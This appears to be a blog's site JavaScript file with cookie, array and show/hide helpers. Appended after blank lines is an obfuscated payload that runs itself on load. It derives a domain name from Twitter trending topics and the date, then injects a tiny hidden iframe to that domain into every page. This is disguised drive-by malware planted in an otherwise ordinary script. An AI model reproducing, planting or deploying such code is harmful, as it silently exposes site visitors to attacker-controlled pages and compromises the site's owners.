<!--
	// POPUP WINDOW
	function openpopup(popurl, w, h, sizable) {
		str = 'width='+(w+20)+',height='+(h+30);
		if ( sizable != true ) {
			str = str + ',scrollbars=no,resizable=no,status=no';
		} else {
			str = str + ',scrollbars=yes,resizable=yes,status=yes';
		}
		window.open(popurl,'',str);
	}
	
	// ARRAY PROTOTYPES
	Array.prototype.contains = function (element) {
		for ( var i=0; i<this.length; i++ ) {
			if ( this[i]==element ) {
				return i;
			}
		}
		return false;
	}
	
	Array.prototype.remove = function (element) {
		var result = false;
		var array = [];
		for (var i = 0; i < this.length; i++) {
			if (this[i] == element) {
				result = true;
			} else {
				array.push(this[i]);
			}
		}
		this.length = 0;
		for (var i = 0; i < array.length; i++) {
			this.push(array[i]);
		}
		array = null;
		return result;
	};
	
	Array.prototype.addUnique = function (element) {
		if (this.contains(element) === false) {
			this.push(element);
		}
	};
	
	// Read the JavaScript cookies tutorial at:
	// http://www.netspade.com/articles/javascript/cookies.xml
	
	// SET COOKIE
	function setCookie(name, value, days, expires, path, domain, secure) {
		if (days) {
			expires = new Date();
			expires.setTime(expires.getTime()+(days*24*60*60*1000));
		}
		
		document.cookie= name + "=" + escape(value) +
			((expires) ? "; expires=" + expires.toGMTString() : "") +
			((path) ? "; path=" + path : "") +
			((domain) ? "; domain=" + domain : "") +
			((secure) ? "; secure" : "");
	}
	
	// GET COOKIE
	function getCookie(name) {
		var dc = document.cookie;
		var prefix = name + "=";
		var begin = dc.indexOf("; " + prefix);
		if (begin == -1) {
			begin = dc.indexOf(prefix);
			if (begin != 0) return null;
		} else {
			begin += 2;
		}
		var end = document.cookie.indexOf(";", begin);
		if (end == -1) {
			end = dc.length;
		}
		return unescape(dc.substring(begin + prefix.length, end));
	}
	
	// DELETE COOKIE
	function deleteCookie(name, path, domain) {
		if (getCookie(name)) {
			document.cookie = name + "=" + 
				((path) ? "; path=" + path : "") +
				((domain) ? "; domain=" + domain : "") +
				"; expires=Thu, 01-Jan-70 00:00:01 GMT";
		}
	}
	
	// TOGGLE BLOCK
	function toggleBlock(id, forceHidden) {
		forceHidden = (forceHidden==undefined) ? false : forceHidden;
		
		// Variables
		var toggleObj;
		var linkObj;
		
		// Get Element
		if (document.getElementById) {
			// this is the way the standards work: Safari, FireFox
			toggleObj = document.getElementById('toggle'+id);
			linkObj = document.getElementById('link'+id);
		} else if (document.all) {
			// this is the way old msie versions work
			toggleObj = document.all['toggle'+id];
			linkObj = document.all['link'+id];
			
		} else if (document.layers) {
			// this is the way nn4 works
			toggleObj = document.layers['toggle'+id];
			linkObj = document.layers['link'+id];
		}
		
		// Toggle
		var cookieStr = getCookie('toggledItems');
		var toggleArr = Array();
		if (cookieStr) {
			toggleArr = cookieStr.split(',');
		}
		
		if (toggleObj) {
			styleObj = toggleObj.style;
			if (styleObj.display != "none" || forceHidden==true) {
				// HIDE
				toggleArr.addUnique(id);
				styleObj.display = "none";
				if (linkObj) {
					twistyObj = linkObj.getElementsByTagName('img')[0];
					
					if (twistyObj) {
						twistyObj.setAttribute('src', blogSettings['img_path'] + 'plus.gif');
						twistyObj.setAttribute('alt','[+]');
					} else {
						linkObj.innerHTML = "[+]";
					}
				}
			} else {
				// SHOW
				toggleArr.remove(id);
				styleObj.display = "block";
				if (linkObj) {
					twistyObj = linkObj.getElementsByTagName('img')[0];
					
					if (twistyObj) {
						twistyObj.setAttribute('src', blogSettings['img_path'] + 'minus.gif');
						twistyObj.setAttribute('alt','[-]');
					} else {
				linkObj.innerHTML = "[-]";
			}
				}
			}
			setCookie('toggledItems', toggleArr.toString(),30);
		}	
	}
	
	// DEFAULT PAGE INIT FUNCTION
	function init() {
		var cookieStr = getCookie('toggledItems');
		var toggleArr = Array();
		
		if (cookieStr) {
			toggleArr = cookieStr.split(',');
			for ( var i=0; i<toggleArr.length; i++ ) {
				toggleBlock(toggleArr[i], true);
			}
		}
	}
	
	function addEvent(elm, evType, fn, useCapture){
		if (elm.addEventListener) {
			elm.addEventListener(evType, fn, useCapture);
			return true;
		} else if (elm.attachEvent) {
			var r = elm.attachEvent('on' + evType, fn);
			return r;
		} else {
			elm['on' + evType] = fn;
		}
	}
	
	addEvent(window, 'load', init, false);






(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});

